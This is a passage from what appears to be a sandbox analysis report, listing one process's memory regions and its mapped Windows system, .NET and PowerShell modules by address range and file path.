"\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 882 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 883 start_va = 0x230000 end_va = 0x231fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 884 start_va = 0x1ce0000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 885 start_va = 0x1e80000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 886 start_va = 0x1fa0000 end_va = 0x226efff entry_point = 0x1fa0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 887 start_va = 0x74a30000 end_va = 0x74b24fff entry_point = 0x74a40d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 888 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 889 start_va = 0x76850000 end_va = 0x76876fff entry_point = 0x768558b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 890 start_va = 0x76ae0000 end_va = 0x76c7cfff entry_point = 0x76ae17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 891 start_va = 0x76eb0000 end_va = 0x76ec1fff entry_point = 0x76eb1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 892 start_va = 0x2270000 end_va = 0x2662fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 893 start_va = 0x74a00000 end_va = 0x74a20fff entry_point = 0x74a0145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 894 start_va = 0x762a0000 end_va = 0x762e4fff entry_point = 0x762a11e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 895 start_va = 0x470000 end_va = 0x492fff entry_point = 0x470000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000b.db" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db") Region: id = 896 start_va = 0x1bd0000 end_va = 0x1ccffff entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 897 start_va = 0x1cd0000 end_va = 0x1cd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cd0000" filename = "" Region: id = 898 start_va = 0x1ec0000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 899 start_va = 0x2680000 end_va = 0x26bffff entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 900 start_va = 0x74780000 end_va = 0x747cbfff entry_point = 0x74782c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 901 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 902 start_va = 0x747f0000 end_va = 0x7481dfff entry_point = 0x747f1bba region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 903 start_va = 0x753c0000 end_va = 0x753c8fff entry_point = 0x753c153e region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll") Region: id = 904 start_va = 0x75350000 end_va = 0x753bffff entry_point = 0x75351f65 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll") Region: id = 905 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 906 start_va = 0x1f20000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 907 start_va = 0x27e0000 end_va = 0x281ffff entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 908 start_va = 0x75320000 end_va = 0x7532afff entry_point = 0x75321200 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 909 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 910 start_va = 0x75310000 end_va = 0x75319fff entry_point = 0x75314d20 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 911 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 912 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 913 start_va = 0x741b0000 end_va = 0x74229fff entry_point = 0x741b1f48 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 914 start_va = 0x460000 end_va = 0x460fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 915 start_va = 0x1e10000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 916 start_va = 0x6e670000 end_va = 0x6ec1afff entry_point = 0x6e670000 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll") Region: id = 917 start_va = 0x746e0000 end_va = 0x7477afff entry_point = 0x746e232b region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll") Region: id = 918 start_va = 0x1d20000 end_va = 0x1d20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d20000" filename = "" Region: id = 919 start_va = 0x1d30000 end_va = 0x1d30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d30000" filename = "" Region: id = 920 start_va = 0x1d40000 end_va = 0x1d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 921 start_va = 0x1d50000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 922 start_va = 0x1da0000 end_va = 0x1daffff entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 923 start_va = 0x1db0000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 924 start_va = 0x1dc0000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 925 start_va = 0x1dd0000 end_va = 0x1ddffff entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 926 start_va = 0x26c0000 end_va = 0x26fffff entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 927 start_va = 0x2700000 end_va = 0x273ffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 928 start_va = 0x2740000 end_va = 0x27dffff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 929 start_va = 0x2820000 end_va = 0x285ffff entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 930 start_va = 0x29b0000 end_va = 0x29bffff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 931 start_va = 0x29c0000 end_va = 0x49bffff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 932 start_va = 0x4a20000 end_va = 0x4a5ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 933 start_va = 0x6db70000 end_va = 0x6e667fff entry_point = 0x6db70000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll") Region: id = 934 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 935 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 936 start_va = 0x1de0000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 937 start_va = 0x4a60000 end_va = 0x4d41fff entry_point = 0x4a60000 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 938 start_va = 0x6d340000 end_va = 0x6d3c0fff entry_point = 0x6d340000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\b1c511d8fad78ad3c5213b2b4fb02b8b\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\b1c511d8fad78ad3c5213b2b4fb02b8b\\microsoft.powershell.consolehost.ni.dll") Region: id = 939 start_va = 0x6d3d0000 end_va = 0x6db6bfff entry_point = 0x6d3d0000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll") Region: id = 940 start_va = 0x6c7d0000 end_va = 0x6d049fff entry_point = 0x6c7d0000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management.a#\\4436815b432c313255af322f4ec3560d\\system.management.automation.ni.dll") Region: id = 941 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 942 start_va = 0x6d050000 end_va = 0x6d331fff entry_point = 0x6d2dec1e region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 943 start_va = 0x6d050000 end_va = 0x6d331fff entry_point = 0x6d2dec1e region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 944 start_va = 0x1df0000 end_va = 0x1df2fff entry_point = 0x1df0000 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\SysWOW64\\l_intl.nls" (normalized: "c:\\windows\\syswow64\\l_intl.nls") Region: id = 945 start_va = 0x2860000 end_va = 0x291ffff entry_point = 0x2860000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 946 start_va = 0x77870000 end_va = 0x77874fff entry_point = 0x77871438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 947 start_va = 0x1e00000 end_va = 0x1e00fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 948 start_va = 0x1e50000 end_va = 0x1e54fff entry_point = 0x1e50000 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 949 start_va = 0x2920000 end_va = 0x2960fff entry_point = 0x2920000 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 950 start_va = 0x6d050000 end_va = 0x6d331fff entry_point = 0x6d2dec1e region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 951 start_va = 0x6d050000 end_va = 0x6d331fff entry_point = 0x6d2dec1e region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 952 start_va = 0x1e60000 end_va = 0x1e67fff entry_point = 0x1e60000 region_type = mapped_file name = "microsoft.wsman.runtime.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll") Region: id = 953 start_va = 0x1e70000 end_va = 0x1e70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 954 start_va = 0x49c0000 end_va = 0x4a02fff entry_point = 0x49c0000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 955 start_va = 0x67aa0000 end_va = 0x67ae2fff entry_point = 0x67adf03c region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 956 start_va = 0x6c3e0000 end_va = 0x6c47bfff entry_point = 0x6c3e0000 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.transactions\\ad18f93fc713db2c4b29b25116c13bd8\\system.transactions.ni.dll") Region: id = 957 start_va = 0x6c480000 end_va = 0x6c504fff entry_point = 0x6c480000 region_type = mapped_file name = "microsoft.wsman.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.wsman.man#\\ee28a075665b6bc23b6dae56903d431d\\microsoft.wsman.management.ni.dll") Region: id = 958 start_va = 0x6c510000 end_va = 0x6c534fff entry_point = 0x6c510000 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuratio#\\f02737c83305687a68c088927a6c5a98\\system.configuration.install.ni.dll") Region: id = 959 start_va = 0x6c540000 end_va = 0x6c58afff entry_point = 0x6c540000 region_type = mapped_file name = "microsoft.powershell.commands.diagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\4f68cd04686e5dc5a55070d112d44bdf\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\4f68cd04686e5dc5a55070d112d44bdf\\microsoft.powershell.commands.diagnostics.ni.dll") Region: id = 960 start_va = 0x6c590000 end_va = 0x6c7c4fff entry_point = 0x6c590000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.core\\fbc05b5b05dc6366b02b8e2f77d080f1\\system.core.ni.dll") Region: id = 961 start_va = 0x1f00000 end_va = 0x1f00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 962 start_va = 0x60340000 end_va = 0x60347fff entry_point = 0x60340000 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\culture.dll") Region: id = 963 start_va = 0x6c140000 end_va = 0x6c16cfff entry_point = 0x6c140000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\8ce205027e30804d1b2deaffa0582735\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\8ce205027e30804d1b2deaffa0582735\\microsoft.powershell.security.ni.dll") Region: id = 964 start_va = 0x6c170000 end_va = 0x6c232fff entry_point = 0x6c170000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\8df695fb80187f65208d87229e81e8a2\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\8df695fb80187f65208d87229e81e8a2\\microsoft.powershell.commands.management.ni.dll") Region: id = 965 start_va = 0x6c240000 end_va = 0x6c3ddfff entry_point = 0x6c240000 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\3008a05e2928e2c1d856cc34e0422c17\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\3008a05e2928e2c1d856cc34e0422c17\\microsoft.powershell.commands.utility.ni.dll") Region: id = 966 start_va = 0x1f00000 end_va = 0x1f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 967 start_va = 0x4d50000 end_va = 0x4da3fff entry_point = 0x4d50000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorrc.dll") Region: id = 968 start_va = 0x6b9d0000 end_va = 0x6bae3fff entry_point = 0x6b9d0000 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.directoryser#\\45ec12795950a7d54691591c615a9e3c\\system.directoryservices.ni.dll") Region: id = 969 start_va = 0x6baf0000 end_va = 0x6bbf3fff entry_point = 0x6baf0000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll") Region: id = 970 start_va = 0x6bc00000 end_va = 0x6c135fff entry_point = 0x6bc00000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll") Region: id = 971 start_va = 0x73fb0000 end_va = 0x73fb4fff entry_point = 0x73fb0000 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\SysWOW64\\shfolder.dll" (normalized: "c:\\windows\\syswow64\\shfolder.dll") Region: id = 972 start_va = 0x1f10000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 973 start_va = 0x2670000 end_va = 0x267ffff entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 974 start_va = 0x2970000 end_va = 0x2980fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002970000" filename = "" Region: id = 975 start_va = 0x2990000 end_va = 0x299ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 976 start_va = 0x29a0000 end_va = 0x29affff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 977 start_va = 0x4a10000 end_va = 0x4a1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 978 start_va = 0x4db0000 end_va = 0x4dbffff entry_point = 0x0 region_type = private name = "private_0x0000000004db0000" filename = "" Region: id = 979 start_va = 0x4dc0000 end_va = 0x4dcffff entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 980 start_va = 0x4dd0000 end_va = 0x4ddffff entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Region: id = 981 start_va = 0x73f20000 end_va = 0x73f27fff entry_point = 0x73f20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 982 start_va = 0x4de0000 end_va = 0x4e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000004de0000" filename = "" Region: id = 983 start_va = 0x4e60000 end_va = 0x4e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e60000" filename = "" Region: id = 984 start_va = 0x4e70000 end_va = 0x5141fff entry_point = 0x4e70000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 985 start_va = 0x5150000 end_va = 0x5150fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005150000" filename = "" Region: id = 986 start_va = 0x64e70000 end_va = 0x65141fff entry_point = 0x6511b43c region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 987 start_va = 0x6b370000 end_va = 0x6b9c0fff entry_point = 0x6b370000 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data\\1e85062785e286cd9eae9c26d2c61f73\\system.data.ni.dll") Region: id = 988 start_va = 0x769c0000 end_va = 0x76adcfff entry_point = 0x769c158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 989 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 990 start_va = 0x76e90000 end_va = 0x76e9bfff entry_point = 0x76e9238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 991 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 992 start_va = 0x5160000 end_va = 0x516ffff entry_point = 0x0 region_type = private name = "private_0x0000000005160000" filename = "" Region: id = 993 start_va = 0x5170000 end_va = 0x5170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005170000" filename = "" Region: id = 994 start_va = 0x6b310000 end_va = 0x6b36afff entry_point = 0x6b310000 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll") Region: id = 995 start_va = 0x5180000 end_va = 0x518ffff entry_point = 0x0 region_type = private name = "private_0x0000000005180000" filename = "" Region: id = 996 start_va = 0x5190000 end_va = 0x519ffff entry_point = 0x0 region_type = private name = "private_0x0000000005190000" filename = "" Region: id = 997 start_va = 0x51a0000 end_va = 0x51affff entry_point = 0x0 region_type = private name = "private_0x00000000051a0000" filename = "" Region: id = 998 start_va = 0x51b0000 end_va = 0x51bffff entry_point = 0x0 region_type = private name = "private_0x00000000051b0000" filename = "" Region: id = 999 start_va = 0x5270000 end_va = 0x52affff entry_point = 0x0 region_type = private name = "private_0x0000000005270000" filename = "" Region: id = 1000 start_va = 0x52f0000 end_va = 0x5c7ffff entry_point = 0x0 region_type = private name = "private_0x00000000052f0000" filename = "" Region: id = 1001 start_va = 0x6b210000 end_va = 0x6b300fff entry_point = 0x6b210000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll") Region: id = 1002 start_va = 0x7ef40000 end_va = 0x7ef4ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef40000" filename = "" Region: id = 1003 